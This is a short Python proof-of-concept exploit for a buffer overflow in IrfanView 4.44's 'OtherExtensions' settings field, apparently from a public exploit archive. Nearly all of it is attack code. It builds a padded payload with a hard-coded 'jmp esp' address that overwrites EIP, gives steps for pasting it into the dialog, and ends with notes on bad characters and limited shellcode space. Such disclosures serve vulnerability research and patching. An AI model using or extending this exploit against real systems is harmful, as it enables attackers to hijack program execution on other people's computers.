30 lines
No EOL
859 B
Python
Executable file
30 lines
No EOL
859 B
Python
Executable file
# Exploit Title: Irfanview - OtherExtensions Input Overflow
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# Date: 29-04-2017
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# Software Link: http://download.cnet.com/IrfanView/?part=dl-&subj=dl&tag=button
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# Exploit Author: Dreivan Orprecio
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#Version: Irfanview 4.44
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#Irfanview is vulnerable to overflow in "OtherExtensions" input field
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#Debugging Machine: WinXP Pro SP3 (32bit)
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#POC
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#!usr/bin/python
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eip = "\xf7\x56\x44\x7e" #jmp esp from user32.dll
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buffer = "OtherExtensions="+"A" * 199 + eip + "\xcc"
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print buffer #a) irfanview->Option->Properties/Settings->Extensions
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#b) Paste the buffer in the "other" input then press ok, repeat a) and b)
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#badcharacters: those instruction that start with 6,7,8,E,F
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#Only 43 bytes space to host a shellcode and lots of badchars make it hard for this to exploit
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#Any other way around this? |